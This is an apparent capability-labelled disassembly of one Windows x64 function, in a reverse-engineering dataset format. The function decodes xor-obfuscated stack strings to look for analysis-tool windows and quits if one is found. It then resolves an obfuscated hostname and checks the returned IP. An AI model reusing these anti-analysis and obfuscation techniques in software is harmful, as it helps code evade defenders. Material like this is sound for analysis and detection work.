Function at 0x140080860
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor
Initialize winsock library
Resolve dns
Terminate process

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x168]
sub rsp, 0x260
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rbp + 0x150], rax
mov dword [rsp + 0x30], 0x43464558
mov dword [rsp + 0x34], 0x75735134
mov dword [rsp + 0x38], 0x7e7d7e6d
mov word [rsp + 0x3c], WSASetLastError
mov byte [rsp + 0x3e], 1
xor ebx, ebx
mov ecx, ebx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x10]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xd
jb 0x1400808d0
mov byte [rsp + 0x3e], bl
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400808ff
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x1402842d0]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], 0x4f
mov byte [rsp + 0x42], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 0x10]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x11
jb 0x140080920
mov byte [rsp + 0x42], bl
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14008094f
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rsp + 0x30], 0x5e424548
mov dword [rsp + 0x34], 0x51787c75
mov dword [rsp + 0x38], 0x7e77786a
mov word [rsp + 0x3c], 0x100
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x10]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xc
jb 0x140080980
mov byte [rsp + 0x3d], bl
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400809af
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x140284360]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x1004452
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 0x10]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x12
jb 0x1400809d0
mov byte [rsp + 0x43], bl
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400809ff
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x140284380]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x514d5549
mov word [rsp + 0x44], 0x100
mov rcx, rbx
nop
lea eax, [rcx + 0x10]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x14
jb 0x140080a20
mov byte [rsp + 0x45], bl
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140080a4f
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x140284320]
movdqu xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [0x1402841b0]
movdqu xmmword [rsp + 0x68], xmm1
mov word [rsp + 0x78], 0x100
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x10]
xor byte [rsp + rcx + 0x58], al
inc rcx
cmp rcx, 0x20
jb 0x140080a80
mov byte [rsp + 0x79], bl
lea rdx, [rsp + 0x58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140080aaf
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0x202
lea rdx, [rbp - 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140080e07
movdqa xmm0, xmmword [0x140283fa0]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], bl
mov dword [rsp + 0x30], 0x22262420
mov dword [rsp + 0x34], 0x72783b26
mov word [rsp + 0x38], WSASetLastError
mov byte [rsp + 0x3a], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x10]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 9
jb 0x140080b00
mov byte [rsp + 0x3a], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rsi, rax
test rax, rax
jne 0x140080c83
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
je 0x140080cb7
mov qword [rsp + 0x28], rbx
xor r9d, r9d
lea r8, [0x14007e7c0]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
cmp eax, 0x2af9
jne 0x140080bb4
call qword [sym.imp.KERNEL32.dll_CreateThread]
movdqa xmm0, xmmword [0x140284530]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0xc1989fc8
mov dword [rsp + 0x44], 0xcb93efea
mov word [rsp + 0x48], 0x100
lea rcx, [0x1405d1790]
call fcn.140085f80
mov r8, rax
lea rcx, [rsp + 0x30]
call fcn.140080e40
mov rdx, rax
xor ecx, ecx
lea r9d, [rsi + 0x10]
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 0x2afc
jne 0x140080c13
call qword [sym.imp.KERNEL32.dll_CreateThread]
movdqa xmm0, xmmword [str.Uc_f5o___]
movdqu xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [0x140283fe0]
movdqu xmmword [rsp + 0x68], xmm1
mov byte [rsp + 0x78], 1
lea rcx, [0x1405d1790]
call fcn.140085f80
mov r8, rax
lea rcx, [rsp + 0x58]
call fcn.140080e70
mov rdx, rax
xor ecx, ecx
lea r9d, [rcx + 0x10]
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_CreateThread]
movdqa xmm0, xmmword [str.Uc_f5o____]
movdqu xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [0x1402845a0]
movdqu xmmword [rsp + 0x68], xmm1
mov dword [rsp + 0x78], 0xda90e4f1
mov dword [rsp + 0x7c], 0x83e289f9
mov dword [rbp - 0x80], 0x8fe8fc86
mov word [rbp - 0x7c], 0x100
lea rcx, [0x1405d1790]
call fcn.140085f80
mov r8, rax
lea rcx, [rsp + 0x58]
call fcn.140080ea0
mov rdx, rax
xor ecx, ecx
lea r9d, [rcx + 0x10]
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
test rcx, rcx
je 0x140080cb7
mov rdi, rbx
lea rdi, [rdi + 1]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rax
mov qword [0x1405d3e78], rax
mov rax, qword [rsi + 0x18]
mov rcx, qword [rax + rdi*8]
test rcx, rcx
jne 0x140080c92
jmp 0x140080cbe
mov rdx, qword [0x1405d3e78]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140080cd0
lea rcx, [rbp - 0x78]
call fcn.140086ad0
movdqa xmm0, xmmword [str.____9___5__]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x40], 1
nop word [rax + rax]
lea eax, [rbx + 0x10]
xor byte [rsp + rbx + 0x30], al
inc rbx
cmp rbx, 0xf
jb 0x140080d00
mov byte [rsp + 0x40], 0
movdqa xmm0, xmmword [0x140283fa0]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
lea rax, [rsp + 0x30]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140080d30
mov r8, rdi
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.140086ad0
lea rdx, [rsp + 0x58]
mov rdi, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x70]
cmp rsi, 0x10
cmovae rdx, rdi
lea rcx, [rbp - 0x78]
mov rbx, qword [rbp - 0x78]
mov r14, qword [rbp - 0x60]
cmp r14, 0x10
cmovae rcx, rbx
mov r8, qword [rbp - 0x68]
cmp r8, qword [rsp + 0x68]
jne 0x140080e33
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140080e33
cmp rsi, 0x10
jb 0x140080dcd
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140080dc4
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140080dc4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1401e6234
nop
cmp r14, 0x10
jb 0x140080e07
lea rdx, [r14 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140080dff
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140080dff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1401e6234
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.1401e6210
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3